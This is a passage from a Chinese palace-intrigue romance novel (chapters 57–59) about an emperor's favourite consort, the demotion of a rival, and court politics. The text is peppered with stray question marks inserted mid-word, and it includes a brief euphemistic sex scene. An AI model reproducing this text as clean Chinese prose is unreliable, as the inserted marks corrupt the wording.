殿内跪着的人悉数被押出了承明宫,柳常在何其不甘,轻易输给?了那个贱人,女子鬓边的珠钗掉到地上,发髻散乱,狼狈不堪,叫人不禁回忆起,柳常在得?意之时,珠环翠绕,华绸着身,是何等风光。 …… 众人都有?些唏嘘,杨贵嫔在殿内哄着怀中?的景和,听闻事情查明,眼眸暗了暗,不想?放过这次机会,她将熟睡的景和交给?乳母,从殿内出来,跪下身,迟疑开口,“皇上,嫔妾觉得?,今日之事尚有?怪异之处。” 李怀修看着她,浓长的黑睫遮住眼底,里面的神色已经淡了下去,杨贵嫔却并无察觉。 她不禁继续道:“嫔妾听闻前?不久宓贵人身子不适,曾夜去坤宁宫请皇上过去看看,又听说那事与柳常在有?关。嫔妾怀疑,此事是否另有?隐情,却叫柳常在背了罪状。” 李怀修掀起眼,指腹拨着拇指的白玉扳指,神色平静,“你想?说什么?” “嫔妾……”杨贵嫔抬眸,对上男人眼底冷淡,心头蓦地一紧,“皇上也知,宓贵人与嫔妾素不相?和。” 皇上为何就不怀疑是宓贵人要?加害于她? 话?落,殿内外场的嫔妃都倏然噤声,眼眸又朝宓贵人瞄去。 李怀修眼目沉下来,不愿理会后宫的争斗,不代表他从未放在心上,究竟是那女子与她素不相?和,还是她将那女子视为威胁,几番针对,他心中?清楚。 殿中?寂寂,杨贵嫔见皇上不语,心中?正生出些许希冀,便是在这时,耳边听到女子一声惊呼。 明裳柳眉似蹙非蹙,指尖儿扶着额头,整个人都无力十分,幸而得?宫女相?扶,才没摔坐地上,失了仪态。李怀修面容微变,未管旁人如何做想?,大步流星地走过去,手臂下意识扶住那人,声音比刚才还要?沉得?厉害,“怎么回事,身子哪处不舒坦,朕让太医过来给?你看看。” 宫女有?眼色地退后一步,明裳伏在男人怀中?,小脸贴着男人胸口,轻轻摇了摇头,“嫔妾只是方?才站得?累了,并不妨事。” 她望着男人,眸中?潮湿,眼眶泛出红意,一口委屈的软语听得?让人心疼可怜,“皇上也看到了,柳常在用尽手段,还想?把这种恶事栽赃给?嫔妾,几番与嫔妾过不去。” “杨贵嫔也亲口承认与嫔妾不和,嫔妃分明没做过,她还意有?所指,想?让嫔妾背下这个罪名,嫔妾实在委屈。” 明裳咬了咬唇珠,泪水滴落到男人手背,“嫔妾不想?让皇上为难,不如嫔妾自请到寺中?做了姑子,日日诵经为皇上祈福,也好?还了这后宫清净!” “胡说!”李怀修寒着脸,心口倏地一疼,不能想?象这女子入了寺中?会是怎样情形,也亏她能说的出口!他握住女子发冷的手,掌心收了收,顾不得?其他,垂眸安抚,“朕何时说不给?你做主了,你无错,朕绝不会容忍旁人胡乱污蔑于你!” 后宫中?,还从未有?过人能得?皇上这般怜爱,在场的嫔妃震惊过后,也忘了方?才被拖出去的柳常在,眼睁睁看着被皇上拥在怀中?安抚的女子,不禁捏紧了帕子,心口泛出浓浓酸涩,实在是嫉妒极了宓贵人。 第058章 第 58 章 杨贵嫔面有怔色, 手?心猛地一紧,难以置信道:“皇上,宓贵人尚有嫌疑害了景和!” 闻言, 明裳似是害怕地又往男人怀里缩了缩身子, 眼?睫上挂着泪珠,柔荑在男人掌心中?, 又凉又冷,可?怜兮兮。 李怀修握紧掌中?的小手?,掀起眼?, 没再让她继续开口,“是非对错,朕自会查明,也自有决断。” “你照顾景和不利,险些害得?景和中?毒, 可?配作人母?” 杨贵嫔陡然僵直了身子, 面上血色尽褪, 她是新人入宫中?最先得?宠的那一个,宓贵人未出现之前,她本?也最得?圣心, 她骄傲自己的家世?, 甚至不把皇后放在眼?里,后又怀上皇嗣,诞下景和,眼?前的浮华迷了她的眼?睛,皇上对景和的疼爱, 让她几?欲以为这位也是怜惜自己几?分。 可?听到这句话?,杨贵嫔犹如雷击, 才知自己之前的想法有多么可?笑?。宓贵人这般,就不是仗着宠爱,博得?怜惜,肆意妄为吗?她想分辨,却?在男人的眼?中?看到浓浓的失望与厌烦,杨贵嫔瘫坐在地上,从没这般狼狈过。 云秀最先反应过来,额头砰砰在地上叩了两下,苦苦哀求:“皇上息怒!主?子是景和公主?的生母,自是一切都为公主?做想,方?才疑心宓贵人,也是因疼爱小公主?疼爱到了骨子里!主?子诞下小公主?那样艰难,没有人再比主?子更爱小公主?了!求皇上明鉴,主?子全?然是为人母的拳拳之心啊!” 云秀的一席话?将杨贵嫔的错处大?事化小,全?做了为母对女儿的疼爱,旁观的人不由心道,杨贵嫔确实养了一个好奴才。 李怀修平静地看着跪着的主?仆二人,并无动容,“你性子骄横,待景和长成,迟早要带坏了她。” 他掀眼?,扫过殿内的嫔妃,“即日,由姜嫔抚养景和公主?。” 殿内中?人面色皆是一变,杨贵嫔脸色煞白,终于?现出几?分惊惶,她顾不得?狼狈,抹了把涌出的泪水,连连哭求,“皇上,景和是嫔妾拼命生下的孩子,没有人比嫔妾更爱她,皇上怎么忍心让嫔妾母女分离!嫔妾知道错了,嫔妾日后安安分分地在承明宫照顾景和,嫔妾再也不会做今日这样的蠢事,求求皇上不要夺走嫔妾的孩子!” 李怀修心意已决,倘若她早有悔改,何必要等到今日,男人声音冷凝如冰,“贵嫔杨氏,妄听妄为,心怀怨怼,不堪一宫之主?,择朕令,降为才人,禁足三月,抄经十卷,以净其心!” 话?音落下,此时?就连明裳,也惊得?抬起了眸子,她确实想让皇上责罚杨贵嫔,不想居然责罚得?如此之重。 没有了景和公主?,前朝杨家明升暗贬,可?见已让皇上不喜,杨贵嫔日后想要翻身,怕是难了。 明裳没打算轻易放过,想到曾经受过的委屈,抿了抿唇,又填补了一句,“皇上,杨贵嫔既然已不是六宫之主?,可?住不得?这主?宫了。” 杨贵嫔指尖掐紧,恨极了这个害她至此的女子,她咬住牙关,“我已没了景和,没了位分,宓贵人现在还不满意,还想看我有多落魄!” 她不解,为何皇上会喜欢这样一个女子,自己是意图陷害于?她,但宓贵人又何曾存了善心! 李怀修睇了眼?怀中?女子的小脸,后者极为无辜地跟他挤了挤眼?泪,他有些无奈,只顺着她的话?道:“承明宫还有哪处清净的宫所,便择日迁宫。” …… 至夜,月影横斜,洒下缥缈的银辉。宫灯内的烛芯燃出一丝轻若近无的白烟,袅袅娜娜,缓缓消散殆尽。 慎刑司那头用了刑,没几?个人能受住,关押的奴才很快将事情原尾都吐了干净。 全?福海如实禀完,还有一事,他不知该不该说。许是看出他吞吞吐吐,有所隐瞒,李怀修俯身作画之际,冷睨了眼?,“朕的后宫还有谁动了手?脚。” 这人,全?福海实在不敢说。 他苦着脸,垂低了脑袋,“彩芸受不住,交代了曾与宓贵人有所联系,宓贵人为了扳倒柳常在,有心示意彩芸投靠于?她。” 全?福海此时?内心无比忐忑,额头的冷汗坠到睫毛,眯了眼?睛,他却?一动也不敢动。 良久,他才听见皇上发问,“今日之事,她可?有参与?” 全?福海立即摇头,他在御前伺候皇上,怎会不知晓皇上对皇嗣的看重,谁动了皇嗣,就是在找死,宓贵人显然深谙于?此,便聪明许多,不犯皇上禁忌。 “宓贵人原本?的打算,是要彩芸挑拨柳常在与徐答应,却?因柳常在对彩芸不满,要先处置了,彩芸才惊惧之下,给柳常在出了这个法子,柳常在多疑,拿了彩芸家人性命威胁,嫁祸给宓贵人。” “整件事,宓贵人并不知情。” 全?福海多嘴捧道:“宓贵人心思纯善聪慧,也只是用些小手?段,不会做皇上不喜之事。” 李怀修轻嗤一声,“你倒是了解她的性子,不如朕打发了你去顺湘苑伺候。” 全?福海心弦都提了上来,扑通跪地表示忠心,“奴才不敢,奴才是皇上的人,可?都是打心眼?里向着皇上说话?。” 一句打趣的话?,全福海不至于听不出来,但君王多疑,这句打趣中?,也有三分的试探,他伺候皇上,是万不能与前朝后宫有所交集的,这是为君者大?忌。 不过他这话?说的也没错,皇上宠着宓贵人,宓贵人也未犯下大?错,至于?宓贵人几番针对柳常在,皇上知晓柳常在脸上出的疹子,又何时放在心上过。他捧着宓贵人,也都是为了皇上高兴。他们做奴才的,盼的不就是主?子高兴吗,主?子高兴了,他们才能得个好。再者说今日杨贵嫔闹出的这桩事儿,皇上问也不问,直接将心都偏到了宓贵人这儿,他哪还敢再说话?。 李怀修撂了笔,没再追究这件事,脊背靠到銮座上,指腹捏了捏眉尖,“皇后的身子如何?” 坤宁宫今日确实请了太医,全?福海一五一十禀话?,“皇后娘娘是邪风入体,突发头疾,太医院并无根治的方?子,只能用温性之药缓解。奴才从慎刑司回来时?,皇后娘娘又用了药,却?是还疼得?难以入眠。” 李怀修面色未改,淡声开口:“皇后既然病了,六宫内务就交由姜嫔协理。” 全?福海怔了下,瞄向皇上脸色,却?觉一阵心惊肉跳,以前生了那般多的事,皇上都不曾夺了皇后娘娘处理六宫的权利,他不敢多想缘由,垂头应声。 …… 翌日,六宫便得?知了,皇后娘娘头疾未愈,六宫事务交由了姜嫔协理,连景和公主?都交由了姜嫔抚养。不禁有人艳羡姜嫔聪明,定是昨日为宓贵人说话?,才入了皇上眼?。不论旁人怎么想,昨日承明宫动静闹得?那么大?,最终受益的人,好似当?真只有姜嫔,柳采女折腾一回,又是给别人白送了好处。 姜嫔却?是知晓,皇上并非看重于?她,若非后宫无人,皇上又对皇后不满,怎会轮到她打理六宫内务,抚养景和公主?。不过这事儿办好了,让皇上另眼?相待,也容易为她日后铺路。 当?夜圣驾去了景平宫,也让六宫,渐渐看清了风向。 三日后,皇后病愈,皇上却?未收了姜嫔协理六宫之权,请安时?,嫔妃们眼?光频频在皇后和姜嫔身上瞄来看去,皇后始终面容端庄温和,甚至询问姜嫔核对各宫账册可?有不懂之处,又问景和公主?可?还适应,姜嫔一一对答,态度恭敬妥帖,叫等着看热闹的嫔妃不禁狐疑不解,难不成姜嫔有处置六宫的权利,是皇后娘娘亲自向皇上请的旨?不然为何皇后娘娘竟不见半分不快,反而和颜悦色,对姜嫔处处照顾。 二月中?,冰河消融,清风拂面,将要到今岁春闱,皇上忙于?科举选官,少?进后宫,细细算起,明裳在上元那日侍寝后,就没再得?御前召幸。 月香捧着月钱回永和宫,进了顺湘苑的殿门先啐了一口,“一群捧高踩低的东西,当?初姐姐长,姐姐短叫得?好听,现在个个去往景平宫巴结,发个月银竟也推三阻四!” 辛柳急急掀开帷帘,从殿里跑出来,捂着月香的嘴进了旁边的耳房,皱眉瞪了眼?,“你小声些,主?子才进殿歇下!” 月香呆了呆,满脸懊悔,“主?子从听月坞回了?” 辛柳点点头,月香抹了把脸,抱着月银走来走去,忽地定住身,扯着辛柳的衣袖急问,“我方?才的声音大?不大??在殿里可?听得?清?” 辛柳无奈,“若听不清,我怎会出来阻你?” 月香愤愤气恼,“都是内务府那些不长眼?的东西,这一月里,皇上甚少?进后宫,未得?侍寝的,又非主?子一人,那些人就好像以为主?子再不能得?宠似的,巴巴去捧了旁人,我怎能不气!” “气也要忍着!”辛柳拍了把她的额头,叮嘱,“主?子自有成算,你我二人只要伺候好主?子,别让外面那些风声传到主?子耳朵里就够了。” 明裳对永和宫外的动向并不是全?不知晓,这几?日到坤宁宫问安,曾经下面与她示好的嫔妃,都极为敷衍,倒是对姜嫔赔上一副讨好的笑?脸。 对于?这些,明裳不能不在意,她既入了宫,怎会不想争宠,又怎会不想位及高位,光耀母家荣华。 …… 这日下了早朝,李怀修留下几?个宗室子弟商议今岁春闱,全?福海候在外面伺候,待快到晌午,殿门打开,全?福海躬着腰送几?位宗亲王爷出宫。 日头大?,全?福海回殿正要询问皇上可?要传膳,忽福至心灵,记起北郡王从江南带回的玉楚名伶,唱得?一首好曲儿,皇上近日待后宫态度淡淡,已有半月未召幸嫔妃,全?福海实在为皇嗣担忧,一咬牙,死马当?活马医,当?时?随意提了那名伶一嘴,说完,他还偷偷打量了眼?皇上的神色。 李怀修搁下笔,斜睨了他一眼?,全?福海心惊胆颤地低下头,心道下回这种事他可?是不做了,他哪敢做皇上的主?啊! 御案的奏折已批阅大?半,李怀修指骨漫不经心地点了两下案板,狭长的丹凤眸晦色深深,不知在想什么。 “传吧。” 全?福海下意识以为皇上是让那女子滚,正要应话?,忽反应过来,皇上竟是要传那玉楚名伶到乾坤宫,他愣了下,“皇上,是要听曲儿?” 李怀修不耐烦地拧眉,给全?福海一个极为冰冷的眼?神,全?福海心头砰砰直跳,忙不迭跑下去传人,走到中?途,又听皇上开口吩咐,“再去一趟顺湘苑,让宓贵人到乾坤宫侍膳。” 全?福海愣了愣,这下他更迷糊了,皇上既传召了玉楚名伶唱曲儿,为何还要传宓贵人,皇上倒底是看中?了那名伶,要把人留下,还当?真是要听曲儿的。 全?福海愈发揣测不出皇上的心思。 …… 玉楚幼时?家中?也是江南豪商,十岁那年家道中?落,不得?已入了教坊司,教坊司妈妈见她姿容瑰丽,颇有才学,便只叫她卖艺不卖身,及笄这年,妈妈本?想寻个贵主?将她卖个好价钱,也正因此遇见了北郡王,竟得?以进宫。 虽说只是让她进宫献曲,但她从教养规矩嬷嬷的态度中?,察觉出不寻常。 槅窗外,有宫中?太监传话?,那太监穿着瑞兽纹素软缎的氅衣,头戴顶帽,玉楚并不识得?宫中?宦官,却?见逢迎的嬷嬷满面堆笑?,态度极为恭敬,送 走了那大?监,嬷嬷喜上眉梢,小跑着步子进殿,“玉楚姑娘,大?喜啊!” 宫中?规矩严苛,只是要去献曲,玉楚就由宫人伺候净了身子,描好妆容,换上一席媚而不妖的桃红襦裙去了乾坤宫。 玉楚心神紧张,袖中?的指尖儿隐隐发颤,来路嬷嬷已经叮嘱了她几?回,皇上要听她唱曲,那是天大?的恩赐,皇上正值壮年,风姿隽逸,倘若入皇上眼?,进宫做了主?子,那是寻常女子求之不得?的福分! 她手?心微湿,出神间,已经上了九级汉白玉台阶,殿外,眼?熟的大?监正持拂尘候着,玉楚心领神会,屈身福了礼,嬷嬷满眼?赔笑?,“有劳全?公公通禀。” 瞧着嬷嬷和玉楚姑娘这准备,是打定能留在宫里了,全?福海面上不显,心里头却?没几?分把握,毕竟皇上不止传了玉楚姑娘一人,宓贵人这回,当?也在来乾坤宫的路上了。 玉楚在江南楼坊唱曲时?,见过的达官贵人犹如过江之鲫,她容貌好,通诗书,又会几?分逢迎之词,游走在其中?也有几?分得?心应手?,然面对眼?前这位是完全?不同的情形。 玉楚进了内殿,按照嬷嬷交的规矩福身做礼,九龙盘旋的銮座威严庄肃,龙目不怒自威,令人心中?生畏,不敢违逆。 她心口跳了跳,比来时?更加心惊谨慎,“民女玉楚,请皇上圣安,吾皇万岁万岁万万岁。” 清冽的龙涎香拂过鼻翼,李怀修靠着椅背,俯眼?居高临下地看向跪地的女子,声线沉沉,“会唱什么?” 未面圣之前,玉楚已经做好了献出身子的准备。她在江南声名远播,不论是官士商贾,还是文人墨客,都愿出千金听玉楚姑娘一曲,玉楚也习惯了与男子周旋,世?间男子,不过是为权,为财,为色,她非权非财,只有一身皮囊姿色,因而,玉楚被北郡王带进宫,得?知要给帝王唱曲时?,甚至隐隐不屑,大?魏君王,不过如此,与先帝并无不同,不过是好美色之流,直至见到这位,她直觉并非如此,心中?不知为何涌出不定之感。 她压下心头思绪,柔声回答:“民女自幼学声,娴熟《塞上曲》《关山月》《鸥鹭忘机》……”她微微一顿,大?着胆子抬眸,“皇上不论所点何曲,民女皆会。” 女子面容抬起,眼?尾微勾,眸如皓月,潋滟撩人,她自信,没有男子见了这番姿容不会动情。 玉楚抬眼?,看清了大?魏君王的容貌,男人长眉如剑,鼻梁高挺,一双黑眸狭长幽深,居高临下,冷淡地睥睨着她,未有分毫的动容惊艳之色,玉楚心神微凛,慌乱地垂下头,心头猛跳,竟让她难以喘息。 她惊惶道:“民女失仪,皇上恕罪!” 就在这时?,殿门打开,玉楚微怔,耳边先是听见了一道娇俏的女声,夹杂着点儿嗔恼,“皇上有佳人相伴,竟还要寻嫔妾,莫不是耍弄嫔妾玩儿的!” 闻言,玉楚顿时?汗如雨下,不禁为那女子捏了把汗,居然有人敢跟那位用这种语气说话?,简直是不要命了,她大?胆向上首看上一眼?,都觉得?惊惧胆寒,脊背发凉。 余光划过一道翩然的绯色身影,女子宫装的裙裾绣着繁复的水仙花样,水仙素白,却?用大?团地绯色做点缀,穿在她身上,不仅不觉违和,反而衬得?她人愈发娇媚艳丽。 玉楚她小心翼翼地,抬起眼?,看清了进来女子的面容,她不禁呼吸一滞。 那张脸,实在好看。 心中?这才明了,为何皇上见她时?,并未放在眼?中?。 她心底无味交杂,却?见那女子敷衍地福了礼,自顾上了御阶,接着,她听见皇上不同于?与她说话?时?的淡漠,似有兴致,不轻不重地斥责出口,“胡闹,又给朕将规矩忘了?” 那女子含糊地唔了一声,瘪嘴撒娇,如柔柔的春水,勾得?她也不禁心痒,“皇上都快两月没教过嫔妾规矩,嫔妾自然全?记不得?了。” 玉楚忍不住掀了眼?,朝上面看去,御案后,女子着如绯华服,鬓发间珠环翠绕,面如玉雪,宛然天质,她侧着脸蛋,眸色娇嗔地望向男人,而让她心惊畏惧,浑然威仪的帝王,却?是臂倚銮座,敛了周身的压迫,含笑?看着那女子,眸下松弛泰然。 不知为何,玉楚心下竟翻涌出浓浓地苦涩之感,她愈发清醒,皇上绝非要留她入宫。 看着这番情形,她忽然记起了嬷嬷曾与她提过的后宫形势,听闻新人入宫,杨贵嫔有孕后,最受宠的是永和宫那位宓贵人,整整一年,宠眷不衰。后来嬷嬷便与她说,这两月皇上未再召幸过宓贵人,大?抵是新鲜过了。但玉楚在坊中?识人无数,其中?不乏有清高的闲人雅士,也有游乐的情长夫妻,她看得?清楚,那位此时?,绝不是生了腻的眼?神,不论这位娘娘是谁,她在皇上心中?的地位,绝不容小觑。 明裳似是这时?候才记起来,仍跪在地上的玉楚,她轻哼了声,“皇上不愿继续教嫔妾规矩,大?抵是要教给嫔妾的新妹妹。” 越说越不像话?。 李怀修黑着脸,终于?舍得?厉声斥了一句,“闭嘴!” “当?心朕罚你抄经书一百遍。” 明裳眸子蓦地瞪大?,小手?立即捂住唇珠,似是真的怕了,竟真的乖觉下来。 李怀修这才满意,眼?眸移开,再看向玉楚时?,又恢复冷淡的脸色,点漆的凤眸幽黑深邃,“既是北郡王将你带进的京城,日后你便住在郡王府,做北郡王妾室,你可?愿意?” 北郡王妾室…… 玉楚神色怔然,从江南入京这一路,北郡王待她多有照顾,北郡王虽已有一妻三妾,但为人心性正直,果敢刚用,又深得?当?今重用,她一坊中?歌姬,能有这般结果,已是极好。玉楚看得?清自己的身份,皇上显然对她并无兴趣,更何况,金口玉言,这位更不是在与她商量。 她垂眸,叩首谢恩。 全?福海送玉楚出宫,他听了皇上的吩咐,惊得?下巴差点掉下来,皇上竟将玉楚赐给了北郡王做妾室!他实在摸不清,皇上是什么意思,不过北郡王事关前朝,他隐隐觉得?,此事或许与齐王有关。毕竟前不久,齐王刚刚抢走了北郡王后院的一个歌姬宠妾。 正殿内,李怀修翻开奏折,脸色很淡,没再搭理那女子。 明裳又不知自己哪里做错,她并非没感觉出,这两月皇上待她的态度都极为冷淡,倘若是因为犯错,大?抵只有柳常在那一件事。彩芸受刑,怕是将前因后果,牵连她的地方?也吐干净了。 她轻咬住,眼?眸偷偷瞄向八方?不动的男人,指尖小心,又小心地,扯住了龙袍衣袖的一角,指腹下,是用金线绣成的五爪龙纹。 “晌午了,皇上还未用午膳。”她难得?乖巧,“皇上忙着朝政,也要注意身子。” 李怀修心思也不在奏折上,面色不显,不紧不慢地饮了口温水,“做什么亏心事了,跟着说话?这么小心。” 话?语中?,就差明指明裳做过的事。 明裳心念一动,立即换上了迷茫委屈的神色,眼?眸清纯无辜,“嫔妾做过什么,皇上不是清楚,还要试探嫔妾做什么?” 李怀修被她反问地嘴角一抽,手?中?的茶盏砸到御案上,厉声,“朕试探你,你就不知如何跟朕回话?,还要直言问朕?” 简直是…… 笨得?要命! 李怀修自诩喜怒无常,却?也是为了震慑朝纲,他自幼苦读勤学,诗书六艺,射御书数都从未有过懈怠,少?时?便镇守变关,又经夺嫡之乱,不过而立,经事颇多,自诩能做到泰山崩于?前而面不改色,偏生每每与这女子同处,偶尔总让他忘了,自己还是个皇帝。 明裳竟也不怕男人厉色,反而委屈巴巴,“嫔妾不敢欺君,自然都是要与皇上直言。” 李怀修一噎,竟真的从她这话?中?挑不出半分错处。 他恼得?不行,合该让这女子再好好反省反省! 李怀修铁青着脸,“如此,竟是朕错了?” 明裳立即摇头,她大?着胆子往前凑近,双臂环过男人的脖颈,女子清眸流盼,玉骨雪肌,袖中?幽韵撩人,“皇上是贤明之君,怎会有错!” 李怀修冷嗤她,指骨钳住那张养得?又圆润了些的脸蛋,晃了两下,“巧言令色。” “嫔妾才没有巧言令色。”明裳嘴中?唔哝,她移开眼?眸,止了会儿声,似是犹犹豫豫的,又将眼?光转回来,仿佛一个做错了事的孩子,略带心虚,“嫔妾做错了事,皇上责罚嫔妾吧。” 李怀修脸色寡淡下来,松了手?,问她何事。 明裳小声,“嫔妾不该去寻彩芸算计柳常在。” 不是不该算计柳常在,而是不该找彩芸这般又蠢又毒的人算计。 听她竟这么答话?,李怀修眼?皮子跳了跳,眉心微拧,重新钳住那张脸蛋端详,“把话?给朕说清楚。” 明裳眼?眸沁泪,似是极为怜惜地望着男人,这眼?神让李怀修莫名其妙,不等他发问,女子蓦地抱过来,扑到他怀里,李怀修身子微仰,长臂长捞紧,下意识要将这女子护住,免得?掉到地上。 他都没了那个斥责的心力,无奈道:“好好的,又做什么?” 明裳只摇着头,温声软语,“嫔妾知道,皇上生气,不止是因为牵涉到了皇嗣,宝珠与景和两位公主?,既是皇嗣,也是皇上的孩子。宝珠公主?几?番生病,皇上不论多忙,都会去看小公主?,这样的父亲,即便是寻常人家尚且少?见,更何况是在天家。” “皇上并非是不喜六宫争宠,而是震怒六宫竟用皇嗣相争。” 李怀修微怔,指腹抚过怀中?女子颊边的碎发,神色不明,“你可?知道,揣测圣意,是什么下场。” 男人眼?底黑沉,话?中?却?并无冷意。 明裳睫羽湿润,她伏在男人怀中?,声音闷闷的,“皇上总与嫔妾说圣意宫规,嫔妾却?不想听,嫔妾只把皇上当?作自己的郎君,嫔妾虽是妾室,也会照顾好郎中?,照顾好郎君的孩子。” 李怀修眸色渐深,手?臂扣着怀中?的女子,再难说出半句斥责她的话?。 …… 后宫都传言宓贵人失宠,全?福海始终不以为然,毕竟他跟在皇上身边,看得?最是清楚,宓贵人是怎样一点一点受宠,皇上又是如何一次一次纵容宓贵人的小性子,换作六宫嫔妃,都做不到宓贵人这进退有度,步步踩在皇上心尖儿的手?段。 而且,六宫无人知晓,皇上吩咐南昭王做的另一件与朝政无关的事,这件事,除了宓贵人,皇上也从未为六宫其他任何嫔妃做过。 全?福海只引玉楚出了乾坤宫,回时?日头已经正中?,正要用午膳,御膳房的人已经来过一回,殿门关着,全?福海极有经验地问伺候在外的德喜,里头可?穿过人,德喜摇头,全?福海有了几?回经验,立即了然,这时?候谁敢进去,谁就是找死。他只叫御膳房备好午膳,待传膳了再送过来。 内殿 明裳侧过身子,双颊绯红,“皇上是不是最喜欢嫔妾的腰,总在那里摸来摸去,闹得?嫔妾好生痒痒。” 李怀修垂眼?看她,不答反问,“最近疏于?习舞了?” 明裳撅嘴抱怨,“皇上晾着嫔妾,嫔妾又没有跳给看的人。” 这番回话?不由得?让李怀修愉悦地勾起唇角,却?是没放过她,月要月复一沉,很撞了下,板着脸斥道:“合着又是朕的错?” 明裳摇着头,泪水颤颤巍巍地流下来,求饶道:“嫔妾不敢……” 明黄的衾被覆住女子如雪的肌肤,两人相拥而卧,明裳有气无力地望着男人深沉的眼?光,双颊媚色犹存,“皇上在想什么?” 李怀修手?掌拂过那只腰窝,停留到女子的小腹上,眼?眸掀起,“朕让南昭王从藏地寻了医士,过些日子入宫给你看看身子。” 数日前他传召了给她看诊的太医,原是这女子的身子,本?不容易有孕,调养这些日子,始终不见好转。这女子侍寝已久,李怀修已经没了耐性,他本?是打算,待来日宫中?后妃有孕,便交由她去养,但眼?下他却?极想,要这女子腹中?有一个他的孩子。 第059章 第 59 章 阳春三月, 树杈的桃花终于开了花苞,也不知为何,御膳房近日桃花糕做得格外多, 膳房的厨子们私下议论, 六宫主子竟都转了口味,知情的人却?对此事闭口不言, 讳莫若深。 这日皇后操持,办了场赏花宴,丽妃称病并未赴宴, 后宫人这才想起,丽妃娘娘病得委实久了些?。丽妃不在,往日素来谁也不放在眼中的杨贵嫔又降了位分,禁足于宫中,才短短时日, 谁也不曾想到, 生出这般大的变故。听闻前朝杨家得知杨贵嫔降为, 诚惶诚恐地上?了数道?请罪的奏折,曾经大为风光的杨家,渐渐有了倾颓的势头。 桃花葳葳, 清风拂面, 换下冬日的厚重的宫装,轻巧的宫裙勾勒出女子玲珑腰身,遥遥眺望,贝阙珠宫,雨栋风帘, 浮华之下,是争妍斗艳, 披罗戴翠的六宫女子,仿似娇艳的繁花,瑶池仙境的掩笑神女,这便是皇室后宫,浮华掩盖下的珠翠糜烂,风沙过?后的红颜枯骨。 张贵人扶着身子姗姗来迟,她的席面正在明裳下首,开了春,张贵人也有了六个月的身孕,过?了头几个月,折腾人的劲儿过?去,她气?色渐好,人也渐渐丰腴。 一早因?湿了裙裾,耽搁了时辰,张贵人福身告罪,皇后温声,“你?身子重,不宜久站,快坐下吧。” 一句身子重,不由得让亭中嫔妃的目光纷纷落向了张贵人的肚子。再?有四个月,张贵人就要临盆了,杨贵嫔早了三个月生产,诞下一位公?主,不知张贵人这肚子生的是男是女,倘若是个皇子,当真是祖上?积了阴德,有皇长子这个名头在,便可保张贵人一生荣华富贵。 春日除了旧衣,徐答应多看?了两眼张贵人腹部的高隆,不由得出声,“张姐姐这肚子,好似比贵……杨才人那时的要大些?。” 她习惯称杨贵嫔,过?了这些?日子,还?未习惯,承明宫那位,早已?失了圣宠。 嫔妃们想起杨才人是谁,这番话,让亭中的嫔妃愈发?朝张贵人盯了过?去。 如?此架势,还?真是叫人心惊。 张贵人毫不在意旁人的眼光,她不紧不慢地抚住隆起的肚子,柔笑,“太医说这一胎养得好,难免大些?。” 御膳房的糕点送上?席面,稍许,外面一个小宫女悄无声息地进来,附耳到王采女身侧,王采女位份低,坐在末位,本该无人注意到,偏生王采女听了那宫女的消息,面色僵硬,又气?又恼,徐答应瞧见,顺口问了一句,“王采女这是怎么了,一脸苦色,叫人看?了,还?以为是不满这呈上?的席面。” 徐答应是乐得挑唆,她不痛快,也不想让旁人痛快。 王采女心里忍不住翻了个白眼,奈何徐答应位居上?位,不敢逾越上?头那几位,对付她一个小小的采女绰绰有余。 王采女只得起了身,解释道?:“嫔妾家中昨儿送进了桃花酿,嫔妾是叫秋儿去取了,请皇后娘娘和各位姐姐尝鲜,却?不想宫里头一个笨手笨脚的丫头打碎了罐子,嫔妾不禁懊恼。”她顿了顿,似是无意又道?,“秋儿回来时,倒是巧了,在御花园遇到了圣驾。” 这话一出,本正赏花的嫔妃顿时兴致不高,听闻皇上?到了御花园,哪还?坐得住。 明裳倒没?多大兴趣,毕竟,她一连三日侍寝,实在有些?吃不消,倒巴不得圣驾宿在别处一夜,也好让她歇息歇息。 旁人要知道?明裳心中所想,定会气?得眼圈发?红,日日承宠的人哪知晓她们无宠的苦楚! 亭中众人心思各异,终于有人坐不住,委婉地出声,“嫔妾听说御花园来路的桃花开得正好,不如?嫔妾等陪娘娘一同去那处赏花。” 那嫔妃好似也知自?己?心思太过?明显,面颊赧然,手心紧张得掐出了汗水。 皇后勾了勾唇,慢条斯理地抬起眼眸,“今岁桃花开得好,那便过?去看?看?。” 得皇后准允,一众嫔妃松了口气?,纷纷迫不及待地起身,一面抚着鬓发?,一面捋过?裙摆的褶皱,有几人甚至压不住脸上?的喜色。 皇后漫不经心,将妃嫔们的神情都看?在眼中。 要出亭中时,张贵人扶着宫人的手走得很慢,行到皇后身前,屈膝做了礼,“请你?娘娘恕罪,嫔妾觉得累了,想要回宫歇歇。” 众人盼着张贵人先回宫,有了宓贵人在,她们想与皇上?说句话本就不易,张贵人再?到皇上?跟前,让皇上?注意到,她们什么时候能入皇上?的眼。 皇后点头应下,又嘱咐了伺候的宫人,好好照顾张贵人。 明裳扶住了张贵人的手,朝皇后做了礼,“娘娘,不如?嫔妾陪着张贵人回宫,也稳妥些?。” 皇后眼眸深了许多,她笑着,“宓贵人办事妥帖,本宫放心。” 走了一个张贵人已?叫嫔妃们欢悦,宓贵人竟也要先行回去,嫔妃们心中简直狂喜,受宠的嫔妃不在她们中间,皇上?能注意到她们的机会岂不是更大!这下谁能入皇上?的眼才真的是全凭本事! 要去桃林,还?要过?一条青石子路,知晓皇上此时正赏桃花,嫔妃们哪还?有心思去赏御花园的春景,心中急切,恨不得现在跑过?去拜见圣驾。皇后娘娘却仿若不明她们这些?人的心思,像极了真的是在赏景,走得端庄沉稳,不紧不慢,时而与伴在身边的姜嫔说上几句。 不知过?了多久,桃林渐渐现在眼前,已?有人看?见了金珠垂帘的銮舆,眼眸顿时星亮。 姜嫔朝后瞥了眼,唇角噙笑,目光看?向远处的圣驾。 见到皇上?,本就先发?现圣驾的王采女自?是不愿这种机会叫旁人得了手,她先轻唤出了声,“嫔妾请皇上?安。” 王采女面容娇羞,桃花乱落,红雨之下,女子也是一番小家碧玉的姿容。 远处,本是得闲赏景的李怀修听见自?己?后宫的嫔妃在向他问安,不耐地拧了拧眉,转身,见到远处嫔妃们粉裙红鞋,争妍斗艳,竟不止是后宫的一个嫔妃,脸色顿时黑了,头疼地转了圈扳指,不咸不淡地冷睨了全福海一眼。 全福海被皇上?这一眼盯得心口突突直跳,他也没?想到,今儿御花园怎么聚了这么多主子,没?待上?一会儿,六宫的主子娘娘们不知打哪竟都冒了出来。他抹了把额头凉汗,这回可真不怪他,皇上?兴头上?来,要赏宓贵人爱吃的桃花,说来就来了御花园,可是给他准备的功夫都没?有。 沁着桃花甜香的风拂过?人面,六宫一群的莺莺燕燕,面若芙蕖,或娇羞,或大胆。 